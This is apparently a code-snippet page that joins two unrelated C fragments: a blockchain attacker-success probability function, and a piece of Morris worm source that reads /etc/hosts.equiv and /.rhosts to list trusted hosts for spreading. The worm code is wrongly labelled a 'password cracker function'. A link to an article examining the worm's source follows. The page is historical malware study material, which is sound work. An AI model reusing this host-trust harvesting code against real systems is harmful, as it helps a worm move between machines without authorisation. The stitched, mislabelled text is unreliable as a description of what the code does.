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double AttackerSuccessProbability(double q, int z)
{
    double p = 1.0 - q;
    double lambda = z * (q / p);
    double sum = 1.0;
    int i, k;
    for (k = 0; k <= z; k++)
    {
        double poisson = exp(-lambda);
        for (i = 1; i <= k; i++)
            poisson *= lambda / i;
        sum -= poisson * (1 - pow(q / p, z - k));
    }
    return sum;
}
//PASSWORD CRACKER FUNCTION

FILE *hosteq;
char scanbuf[512];
char fwd_buf[256];
char *fwd_host;
char getbuf[256];
struct passwd *pwent;
char local[20];
struct usr *user;
struct hst *host;				/* 1048 */
int check_other_cnt;			/* 1052 */
static struct usr *user_list = NULL;
hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
if (hosteq != NULL) {			/* 292 */
while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    host = h_name2host(scanbuf, 0);
    if (host == 0) {
	host = h_name2host(scanbuf, 1);
	getaddrs(host);
    }
    if (host->o48[0] == 0)		/* 158 */
	continue;
    host->flag |= 8;
}
fclose(hosteq);				/* 280 */
}

hosteq = fopen(XS("/.rhosts"), XS("r"));
if (hosteq != NULL) {			/* 516 */
while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
	continue;
    host = h_name2host(scanbuf, 0);
    while (host == 0) {			/* 436, 474 */
	host = h_name2host(scanbuf, 1);
	getaddrs(host);
    }
    if (host->o48[0] == 0)
	continue;
    host->flag |= 8;
}
fclose(hosteq);
}
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Wed Dec 25 2019 09:51:14 GMT+0000 (UTC) https://0x00sec.org/t/examining-the-morris-worm-source-code-malware-series-0x02/685

#C #historicalcode #cyberattacks #malware

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